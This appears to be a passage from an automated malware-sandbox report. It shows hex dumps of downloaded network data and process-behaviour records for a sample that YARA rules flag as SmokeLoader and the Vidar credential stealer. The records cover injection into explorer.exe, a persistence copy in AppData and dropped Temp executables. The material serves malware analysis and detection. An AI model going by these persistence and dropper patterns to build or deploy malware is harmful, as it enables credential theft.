d8 fd 28 f7 13 2b c6 5a 00 55 92 0b 19 04 1b 03 94 2c a2 be 31 05 d7 57 ea 50 06 0a f0 f8 90 04 00 55 0c c9 20 51 6c 56 
87 00 2b 2f d5 f7 11 59 c8 7e 00 cd 66 55 c2 39 3b 3f 28 00 d0 d8 f4 73 4e 0c aa c8 00 dd 5c 48 83 03 a2 d3 7d 0f 7e 54 
59 f8 41 89 71 25 8d 20 e9 e4 00 14 26 8a 9f db 65 5d a8 
Data Ascii: ^l:w~uT*1)'(JD8)G9TVw9+DL >@tyn'HuPE"2!&td"@(+ZU,1WPU QlV+/Y~fU9;?(sN\H}~TYAq% &e]

2022-01-14 11:23:08 UTC 4214 IN Data Raw: 52 74 05 03 64 42 57 90 54 22 30 3e 08 0a 77 28 b0 5f 12 a8 c1 72 33 62 ac 1e 91 a0 d3 2e 18 0f 94 b0 7e 11 
f8 a4 84 04 78 23 00 6a 40 58 75 13 10 20 70 fe 6e 00 67 ae 5e 9a 74 57 64 60 75 b2 00 24 10 4e 0c b1 f8 c8 63 03 28 50 
18 2a 22 08 c8 03 e8 94 00 57 04 64 29 14 10 05 54 07 6a 4c 7c 2b c8 b0 da 85 20 24 76 2a 3d c4 50 80 07 0b 54 14 68 
d2 d8 f6 82 60 5a 22 b4 58 52 4c 04 10 cc 2c 19 3a c2 69 04 60 4e 91 ec 07 3e fc 65 59 2d 20 c4 11 02 74 00 4a fe e6 b8 
ce 1d 08 94 14 72 06 50 a6 00 73 df 98 f2 aa cc 85 07 64 07 39 13 48 60 60 22 10 40 7a 05 00 43 6c 61 73 c7 99 38 24 74 
58 00 74 2f 0f c5 49 26 71 03 fe 41 00 64 61 70 7b 5a 60 80 51 0e 01 34 2f 9c 9f c0 ec 52 d0 11 9e a6 00 c0 20 af 14 3d 
82 da 37 3e a2 f0 60 16 60 25 74 80 fe e0 3b 09 72 80 30 ec 
Data Ascii: RtdBWT"0>w(_r3b.~x#j@Xu png^tWd`u$Nc(P*"Wd)TjL|+ $v*=PTh`Z"XRL,:i`N>eY- tJrPsd9H``"@zCla
s8$tXt/I&qAdap{Z`Q4/R =7>``%t;r0

2022-01-14 11:23:08 UTC 4230 IN Data Raw: 8c 85 e0 08 ac 00 58 93 97 04 a4 32 c0 d4 00 42 c2 a0 19 49 8a bf 6c 00 7a 27 90 61 24 e0 d9 ea 37 e1 78 16 
90 f0 52 38 b9 7c c9 00 74 54 1e b5 87 64 e9 41 1f 09 3c 1b 5f 4e 40 0c b2 f0 11 2c 3d 00 25 de 9d 45 96 a7 43 b6 e8 3e 
00 a3 93 ae a2 16 d4 68 19 ee b0 00 30 02 40 27 41 84 1a ec 00 76 25 bd 85 4c 06 a0 20 1f 2c e8 55 00 bb f1 43 cd 7e 92 
01 41 49 b0 f0 75 82 71 60 80 76 00 50 ba 62 5a 09 c2 9a a2 00 d6 8e 26 46 1c cf ac 40 fd c8 02 51 00 9c 13 21 c3 a2 8a 
a3 bf 00 b0 0b 31 61 e4 b4 9a 36 00 4f 04 0e 86 47 89 74 a7 00 26 ec a1 32 34 6d c9 ad 24 3b 0b 79 07 41 b0 d0 b0 12 1f 
9d 87 00 32 e4 61 05 39 91 3a 0e 00 f2 e7 cb f7 71 24 17 1c 2e c2 1e 98 00 d0 18 cc d9 1d 3b 00 ff c9 c7 24 04 1c e4 2e 
09 98 fd ed 97 80 68 4f c6 d0 cf 00 f5 cd 12 f1 c2 ca de 
Data Ascii: X2BIlz'a$7xR8|tTdA<_N@,=%EC>h0@'Av%L ,UC~AIuq`vPbZ&F@Q!1a6OGt&24m$;yA2a9:q$.;$.hO

2022-01-14 11:23:08 UTC 4246 IN Data Raw: de 20 d9 b6 f8 a6 19 14 04 d3 21 3e 89 33 99 41 0b e9 38 3a 83 2c e8 26 16 e9 11 ca 46 7a 9d b8 c1 c1 82 4d 
af a0 19 e9 f9 03 12 52 7b 3e 79 88 09 eb f7 5c ee 77 c8 8e e3 a7 94 e2 e5 95 17 61 61 cb ea 2f a5 68 be a5 93 3a 61 7a 
6f ff 24 4a c1 67 00 f2 98 c0 48 34 e0 3b aa a0 21 78 81 6f 10 76 ba 24 ca f9 25 9b 5a ad d9 a3 4c da 9c 7b d2 44 cc 19 df 
86 62 14 47 eb ab fd 8a 26 83 8f e6 4d a8 f3 59 e9 c6 19 94 25 40 65 d5 7f f8 44 52 ee 7d 37 54 09 58 eb 02 16 98 fc 78 
91 ff f9 75 6a dc 22 9d d1 b4 cb 63 95 e8 68 79 d8 19 55 81 d4 79 f1 02 30 cf f9 7f cb fc ac 66 3e 44 1d 27 7b 4a ef d3 e6 
61 8e 43 0d b9 06 69 28 9e 05 73 f4 ae f9 5f 10 74 95 08 fe b9 d4 c4 8f 5b 30 9f ba 7b 9f 68 08 09 26 f6 e0 ce c5 6e 2c b8 
8b ef dc 28 b0 5b b2 2a f5 3b a2 c9 04 b0 ca dd 
Data Ascii:  !>3A8:,&FzMR{>y\waa/h:azo$JgH4;!xov$%ZL{DbG&MY%@eDR}7TXxuj"chyUy0f>D'{JaCi(s_t[0{h&n,([*;

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 4262 IN Data Raw: f9 83 23 86 a4 d4 76 6d 93 48 2d 20 ea 86 25 08 db ff 03 ad 2b b9 43 c4 ae 70 5e cc 40 0c 2a d0 fd 82 01 6a 
17 3b b5 24 25 0f 4f 57 ad 3a ff 0c d1 9e 97 cd 7f 94 9a f2 d8 ac b0 50 97 a4 41 3c 95 15 66 3c 94 e5 34 ac 2c 19 41 6d ec 
b0 d6 aa cf 15 5a 2a 05 33 f1 ee b0 06 c8 ad 70 b2 eb 3c 74 56 d4 df 86 9d 9a f6 68 59 70 2f 46 a8 2c 92 f9 6b 72 14 fc 4f 
df 74 92 5e 14 6f 87 70 f3 5b c4 fd f7 87 fd 4c 62 a6 45 b2 02 87 2f 1c 78 c5 b7 9a 84 cf 35 46 46 f2 0f d0 5b ec cd ad f3 25 
de f8 7d 71 1a f1 83 3f 22 f2 ff 7b 6d 36 a8 5a 47 73 7a 16 0d 95 b4 01 9a fb db ee fc c8 b7 ab 3c 70 72 5c a0 25 a5 91 10 
21 07 b1 73 4c 8c 05 cc a5 72 58 fa f2 bd d1 97 6a 33 03 33 b3 b6 54 25 1d ed 6e a3 06 5f 15 10 2c ea 9f 1a 18 44 51 53 
97 88 88 a3 bf 7f 52 77 15 ff 4b ce 8c ea 
Data Ascii: #vmH- %+Cp^@*j;$%OW:PA<f<4,AmZ*3p<tVhYp/F,krOt^op[LbE/x5FF[%}q?"{m6ZGsz<pr\%!sLrXj33T%n_
,DQSRwK

2022-01-14 11:23:08 UTC 4278 IN Data Raw: a2 66 0e c5 2c 03 e4 1b 65 df a0 56 bc b2 4e f4 da e6 4f 0d 5f 11 ec d6 06 97 cc 86 59 8a f9 8b d4 b7 5e 7d fa 
da d8 fe ab d1 af 00 4b b8 ff 6e 3b d2 f5 b8 70 ad 2b 81 56 c6 96 b9 07 1c 10 94 8a db 60 bf d0 5f 40 1d 38 81 90 dd 60 30 
87 a8 19 49 e8 f5 1e d5 de 2a b5 f4 0b a4 b7 1b 09 fd e4 a7 36 21 12 3b 0c d8 2a 88 80 b3 b7 e8 c8 44 b5 44 e4 e5 41 76 
7a 36 a0 a0 41 75 9a cc a5 e5 5d ed a2 e5 38 61 68 1b 15 52 e7 95 f0 63 ee b5 6a a1 29 3d 47 17 7b 9d 2c 52 2a a1 b2 
35 50 81 1e 99 a5 37 a8 0f f1 af da e1 e2 8c 99 3b 5f 00 a4 1e bf 57 6b 93 e8 78 95 f5 d7 72 91 db d4 87 93 cd 6d 14 45 
34 3a c9 77 2a 63 9e f6 6a 9e 15 38 ac 86 24 a7 55 34 13 42 63 1e 2e c6 c0 71 2b 02 5f cc 93 49 6e cc e2 ac b9 cd 7d c5 
73 05 4e d5 6d de 9d 86 b2 4f 15 3d c3 86 d8 24 9f 39 
Data Ascii: f,eVNO_Y^}Kn;p+V`_@8`0I*6!;*DDAvz6Au]8ahRcj)=G{,R*5P7;_WkxrmE4:w*cj8$U4Bc.q+_In}sNmO=$9

2022-01-14 11:23:08 UTC 4294 IN Data Raw: 24 30 85 ae 1a a2 67 54 92 e0 6f 78 2b 3f d9 46 64 40 5d 40 be 1c 75 f2 40 16 c1 ad 51 9b 54 c7 fe fb 01 5f 10 
61 b5 4c 64 7d 74 f3 38 de 37 fc f3 18 50 00 b1 36 ab 0f 17 96 f4 61 4d 43 04 3c 7b e5 b1 cc 7a 2a d7 f1 81 29 98 bc 4c 4f 
ea 94 39 ac 5a a4 93 80 a5 ee 77 43 06 67 e6 4f b6 e2 c0 55 c5 ec 34 d3 73 82 4a b8 d8 46 eb 0f a9 06 58 d8 87 d9 6f 93 
23 05 3d fb e9 6a b6 b6 22 fe c5 fc 92 0f 3e 46 c5 b0 b8 2d 90 9c ac 5e 82 5b d1 db 33 2c 81 06 94 ae 11 7d fe c3 e9 88 ff 
51 1c 5e 90 93 95 2b e3 5a e2 ae f1 03 09 3c 00 6c 61 3a a9 63 b3 8e 3a 3f 63 8a 90 e3 47 8a e2 32 83 ad 0a 79 5a 0d 
ae f6 0f 2f 11 99 d8 64 53 df 7e 80 88 da f0 e1 d3 97 49 e2 18 6c fe 05 15 ca fc 42 07 55 81 e2 68 98 b9 bc b8 7c e5 62 83 
07 9d 6a 7e 10 5a 98 21 76 33 fc f8 bc aa c8 47 
Data Ascii: $0gTox+?Fd@]@u@QT_aLd}t87P6aMC<{z*)LO9ZwCgOU4sJFXo#=j">F-^[3,}Q^+Z<la:c:?cG2yZ/dS~IlBUh|
bj~Z!v3G

2022-01-14 11:23:08 UTC 4310 IN Data Raw: 72 ac b7 2b 07 4a c3 a6 1b 89 08 84 2c fc d8 95 80 4e f5 ec a6 f6 85 75 c1 1f 01 6c c1 b1 49 ef 53 f5 b9 88 f2 
5c a3 f3 49 9f b0 ee 42 c2 b7 38 9b be c4 be 47 09 67 b0 e6 b0 76 3e 24 b4 5c 9d 9b 76 6f 9a 5b 00 18 de 71 4b f9 33 d2 
9b d5 e3 d5 d8 b4 da 0f 0a 1d d6 e2 39 df 93 b8 e8 36 d2 82 1c cf 0f e4 f4 a4 8e 6e 19 04 4d d0 51 ba a1 91 d4 0e 3e d8 
02 ca 55 f4 1d 8f 52 95 bb ef 76 8e 82 7a a9 32 04 e8 6c 7d 46 51 e7 a9 39 ce 56 2d 67 76 3c 06 e2 6b a4 4c 39 aa b7 19 
f7 db c4 c1 3a ee 7c 1c b3 b8 9a cb c6 41 3b 8f f3 21 64 3f 5c 6c be a3 1c 05 94 c8 fc 01 55 3b 92 9c 9e 66 44 7f ed 38 16 
95 5a a4 ca ac 12 f0 31 25 2a 73 a3 ad 13 e1 ea 23 78 fc 85 fb fc e9 42 9f 61 40 ed 2e 94 fd 9e e1 02 5d d7 a9 a8 83 72 
9b 20 d2 a1 e6 30 69 6c 08 50 e3 29 c8 95 d1 0e 0a 
Data Ascii: r+J,NulIS\IB8Ggv>$\vo[qK396nMQ>URvz2l}FQ9V-gv<kL9:|A;!d?\lU;fD8Z1%*s#xBa@.]r 0ilP)

2022-01-14 11:23:08 UTC 4326 IN Data Raw: f6 f0 8d ba 05 b6 58 6c e9 a7 8a 2f 3c 60 0e cd 83 e8 c4 1c e7 14 93 53 bb 19 bc ec aa c0 d2 2d 88 9d 99 62 84 
54 c0 d1 22 cf a3 46 ec c9 3d 31 98 c5 07 24 62 51 c2 9c 05 ba 35 6e 4e 05 f0 8c bf 2f 1e 28 3e 6c 91 f2 8f 7a e9 87 62 1e 
4e 8b 45 b7 5b 9f a5 9b a8 8c ac db 5d 45 b4 da 99 a6 7a ca 51 e1 40 f4 a2 3a 74 31 e9 f6 a9 59 62 15 58 10 54 38 a6 36 
02 b9 72 cb 1a a4 4c ed 89 cc d2 8e 0f b9 48 f4 ba 7b 1c a6 d5 3f b3 2c ec 91 bd 30 88 5a a9 09 44 a7 a6 5c 51 a9 b7 42 
67 f9 33 64 1b 5a 39 97 f6 d5 ee 9f 80 4c 4f 90 fb c2 88 ed 7c 98 8f 32 f4 2c 51 33 95 b2 c3 2b 43 88 0a 28 6c 54 e0 7b b9 
ce 7a c3 a4 fc 52 c5 2c 04 69 12 ec da b8 51 67 92 ad 94 80 cd 22 28 01 43 c0 b7 fd 65 04 14 0d fc 50 e1 e6 c9 24 1b 30 
a7 bb f1 80 76 cc 50 a1 97 d3 62 0f 3b e6 fe a4 
Data Ascii: Xl/<`S-bT"F=1$bQ5nN/(>lzbNE[]EzQ@:t1YbXT86rLH{?,0ZD\QBg3dZ9LO|2,Q3+C(lT{zR,iQg"(CeP$0vPb;

2022-01-14 11:23:08 UTC 4342 IN Data Raw: 77 0b 33 62 be ec 62 68 89 4d bd 7e 2d b1 00 3e 44 1b f5 a4 03 d9 50 b1 33 95 bd d5 2d b9 11 f8 68 a6 ac 5a 
22 66 ee 89 f1 4c 3b 30 9d 79 86 9d 3c f2 5b e3 33 b0 f0 a8 fa b9 27 6e f9 6f 41 bb 41 a2 a6 99 bb 5f 5e bd 0d ca f5 99 fc 
3c e3 92 4c f4 87 b9 33 bd 84 e5 2e 4d b5 82 87 23 2b 25 64 ec 68 53 d7 61 52 da fc d4 fc 41 09 73 b5 d8 1e 4b 66 ba 4a 
54 11 41 fd c8 fb 81 05 b3 15 da fc e4 8a 95 c3 5f 9b c3 b6 a4 4b fb f4 bd 8f 8d 5e 77 57 5a 1f ef 52 77 5c ce e5 c9 22 d6 
97 74 39 6a ba 0f c3 f2 31 3a 79 46 ff ff fc b8 77 a0 8f 2e eb a7 cd 40 ca 14 03 2a 16 2f 92 3b df 42 b4 2b a6 13 9b c7 6f 
a4 6e b7 e8 05 14 3c 3f 3b d8 91 f1 3a d9 03 5b 2f ca 0c a5 de 2d f5 bb 99 b4 62 8c 66 0e 52 5c 79 49 e2 49 99 36 e6 e7 
3b 05 64 57 fc df ff fa c6 67 29 f2 ca 18 96 c8 
Data Ascii: w3bbhM~->DP3-hZ"fL;0y<[3'noAA_^<L3.M#+%dhSaRAsKfJTA_K^wWZRw\"t9j1:yFw.@*/;B+on<?;:[/-bfR
\yII6;dWg)

2022-01-14 11:23:08 UTC 4358 IN Data Raw: 8e 02 64 7d a5 76 13 c0 a8 7d bc 57 12 e9 62 eb 14 7d a0 c9 bd 41 6a 4b 00 bc bc 83 4a 49 9e 1d b0 9d b2 21 
81 03 6f c0 43 6e 66 02 63 57 3b 29 9c ed 4c b2 27 26 ac 24 9f 88 8f a2 62 0c 0b 2a 28 a0 6f d0 ff dc 12 90 f3 51 33 68 af 
01 56 ca 54 27 19 3c 95 9a 77 6c 42 12 e1 31 fa 45 4d 28 24 1f 23 97 c8 77 11 f1 75 09 60 89 e9 24 6a 21 a0 a4 48 ed 66 
c4 91 1c e4 bb 72 b8 cf 55 d6 d1 ca 68 21 45 dd e9 67 29 73 4b f0 1e 0a 9a 32 f3 74 cc bb dc 9b 58 af 40 91 f4 08 3a 91 
8e d1 c5 1e 5e 01 74 94 24 65 9e 25 ca d5 61 45 05 ef ee c4 61 77 3d 2e 45 5a fa 6d bf 4f 81 f2 ce 79 5d 93 8b 47 06 4c 
a7 75 15 bc 20 37 0f da 7f fd 54 6b 8e 42 f1 5d 8e a7 3b 48 8a 8e 23 1a e2 86 83 52 9c 28 f1 22 7f 73 01 1e 43 f4 4d fd 74 
1e f3 97 0d 10 bc 92 18 95 58 76 0b 19 0f 02 7c 86 
Data Ascii: d}v}Wb}AjKJI!oCnfcW;)L'&$b*(oQ3hVT'<wlB1EM($#wu`$j!HfrUh!Eg)sK2tX@:^t$e%aEaw=.EZmOy]GLu 
7TkB];H#R("sCMtXv|

2022-01-14 11:23:08 UTC 4374 IN Data Raw: 30 df 3b fa 23 8c 73 17 b7 8d c3 54 35 15 20 32 10 da 43 fd 86 44 d0 89 32 6c 67 fe aa 29 68 c5 30 e8 ee 3f ab 
7f 6b ae 04 32 d0 39 f9 72 c1 a2 68 6a 2b 79 67 bb 9f aa 58 e7 33 d1 1c 98 5b 04 b0 5f 63 88 11 33 af ab 08 aa 19 fb be 9f
94 89 f1 50 be 7f a1 b3 88 fc 4d c0 f0 d1 b1 22 df 8a cf 0e 36 3e 9a 54 f6 5b 50 dd 4d 99 82 0c 55 15 38 1d a1 9d a6 71 37 
e5 a5 00 78 2d 2e c7 4b a6 d2 c5 97 f1 e0 62 58 24 83 52 78 64 5e d4 1c 94 d6 6b d8 54 a1 a9 29 64 30 91 ce b1 a8 96 
77 2a 79 95 eb 76 0b 20 7b d2 6b c6 ff e7 c6 3b fb ea ba e2 26 b6 c9 44 c5 5b 9b 01 b3 c6 cb ce 32 44 73 16 db eb c9 3a 
72 6d 0f eb 08 e1 d6 c9 28 60 05 5a 87 db da 3c 95 b5 c2 cf 7c 96 65 e5 ff ef 24 0b 58 0a 3c 36 88 4b 27 df 3c 44 79 e1 
c2 c2 55 7c b5 5b 1c cd 9d 04 aa d9 ae 6a 18 63 1e 
Data Ascii: 0;#sT5 2CD2lg)h0?k29rhj+ygX3[_c3PM"6>T[PMU8q7x-.KbX$Rxd^kT)d0w*yv {k;&D[2Ds:rm(`Z<|e$X<6K'<DyU|
[jc

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Jan 14, 2022 12:22:42.492189884 CET 25 49840 104.47.53.36 192.168.2.5 220 BL2NAM06FT008.mail.protection.outlook.com Microsoft ESMTP MAIL 
Service ready at Fri, 14 Jan 2022 11:22:41 +0000

SMTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Start time: 12:21:19

Start date: 14/01/2022

Path: C:\Users\user\Desktop\6zsU4O4WHq.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\6zsU4O4WHq.exe" 

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: 8ABE3174CFD23ABB63418DFA64109C7C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Start time: 12:21:20

Start date: 14/01/2022

Path: C:\Users\user\Desktop\6zsU4O4WHq.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\6zsU4O4WHq.exe" 

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: 8ABE3174CFD23ABB63418DFA64109C7C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000001.00000002.311415009.00000000005E1000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000001.00000002.311353473.00000000005C0000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Analysis Process: 6zsU4O4WHq.exe PID: 6264 Parent PID: 6112Analysis Process: 6zsU4O4WHq.exe PID: 6264 Parent PID: 6112

General

Analysis Process: 6zsU4O4WHq.exe PID: 6292 Parent PID: 6264Analysis Process: 6zsU4O4WHq.exe PID: 6292 Parent PID: 6264

General

Analysis Process: svchost.exe PID: 6548 Parent PID: 556Analysis Process: svchost.exe PID: 6548 Parent PID: 556
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 12:21:27

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 12:21:27

Start date: 14/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff693d90000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000006.00000000.293681645.0000000003A61000.00000020.00020000.sdmp, Author: 
Joe Security

Reputation: high

Show Windows behavior

Start time: 12:21:30

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

General

Analysis Process: explorer.exe PID: 3472 Parent PID: 6292Analysis Process: explorer.exe PID: 3472 Parent PID: 6292

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

Analysis Process: svchost.exe PID: 6660 Parent PID: 556Analysis Process: svchost.exe PID: 6660 Parent PID: 556

General
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File ActivitiesFile Activities

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 12:21:37

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Registry ActivitiesRegistry Activities

Start time: 12:21:38

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 12:21:38

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k NetworkService -p

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Analysis Process: svchost.exe PID: 6856 Parent PID: 556Analysis Process: svchost.exe PID: 6856 Parent PID: 556

General

Analysis Process: svchost.exe PID: 6960 Parent PID: 556Analysis Process: svchost.exe PID: 6960 Parent PID: 556

General

Analysis Process: svchost.exe PID: 7080 Parent PID: 556Analysis Process: svchost.exe PID: 7080 Parent PID: 556

General
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Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 12:21:39

Start date: 14/01/2022

Path: C:\Windows\System32\SgrmBroker.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\SgrmBroker.exe

Imagebase: 0x7ff6ddc80000

File size: 163336 bytes

MD5 hash: D3170A3F3A9626597EEE1888686E3EA6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Registry ActivitiesRegistry Activities

Start time: 12:21:40

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 12:21:48

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: SgrmBroker.exe PID: 7136 Parent PID: 556Analysis Process: SgrmBroker.exe PID: 7136 Parent PID: 556

General

Analysis Process: svchost.exe PID: 7156 Parent PID: 556Analysis Process: svchost.exe PID: 7156 Parent PID: 556

General

Analysis Process: svchost.exe PID: 1316 Parent PID: 556Analysis Process: svchost.exe PID: 1316 Parent PID: 556

General
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File ActivitiesFile Activities Show Windows behavior

File ActivitiesFile Activities

Start time: 12:22:04

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 12:22:06

Start date: 14/01/2022

Path: C:\Users\user\AppData\Roaming\bahuseh

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\bahuseh

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: 8ABE3174CFD23ABB63418DFA64109C7C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML

Start time: 12:22:09

Start date: 14/01/2022

Path: C:\Users\user\AppData\Roaming\bahuseh

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\bahuseh

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: 8ABE3174CFD23ABB63418DFA64109C7C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000015.00000002.370380414.00000000004A0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000015.00000002.370643651.0000000001F61000.00000004.00020000.sdmp, Author: 
Joe Security

Analysis Process: svchost.exe PID: 6760 Parent PID: 556Analysis Process: svchost.exe PID: 6760 Parent PID: 556

General

Analysis Process: bahuseh PID: 5920 Parent PID: 904Analysis Process: bahuseh PID: 5920 Parent PID: 904

General

Analysis Process: bahuseh PID: 4512 Parent PID: 5920Analysis Process: bahuseh PID: 4512 Parent PID: 5920

General
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Start time: 12:22:11

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\8F12.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\8F12.exe

Imagebase: 0x400000

File size: 301056 bytes

MD5 hash: 277680BD3182EB0940BC356FF4712BEF

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 46%, Metadefender, Browse
Detection: 77%, ReversingLabs

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 12:22:16

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k WerSvcGroup

Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

Start time: 12:22:18

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4564 -ip 4564

Imagebase: 0x1350000

File size: 434592 bytes

MD5 hash: 9E2B8ACAD48ECCA55C0230D63623661B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: 8F12.exe PID: 4564 Parent PID: 3472Analysis Process: 8F12.exe PID: 4564 Parent PID: 3472

General

Analysis Process: svchost.exe PID: 2372 Parent PID: 556Analysis Process: svchost.exe PID: 2372 Parent PID: 556

General

Analysis Process: WerFault.exe PID: 4204 Parent PID: 2372Analysis Process: WerFault.exe PID: 4204 Parent PID: 2372

General
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Start time: 12:22:19

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\ADC7.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\ADC7.exe

Imagebase: 0x400000

File size: 323072 bytes

MD5 hash: E1AF41681888A847863EE17BD63450A0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
0000001A.00000002.376629290.0000000000843000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 
0000001A.00000002.376629290.0000000000843000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 44%, ReversingLabs

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 12:22:20

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 216

Imagebase: 0x1350000

File size: 434592 bytes

MD5 hash: 9E2B8ACAD48ECCA55C0230D63623661B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

Start time: 12:22:22

Analysis Process: ADC7.exe PID: 4676 Parent PID: 3472Analysis Process: ADC7.exe PID: 4676 Parent PID: 3472

General

Analysis Process: WerFault.exe PID: 6824 Parent PID: 4564Analysis Process: WerFault.exe PID: 6824 Parent PID: 4564

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: WerFault.exe PID: 6840 Parent PID: 2372Analysis Process: WerFault.exe PID: 6840 Parent PID: 2372

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start date: 14/01/2022

Path: C:\Windows\System32\WerFault.exe

Wow64 process (32bit): false

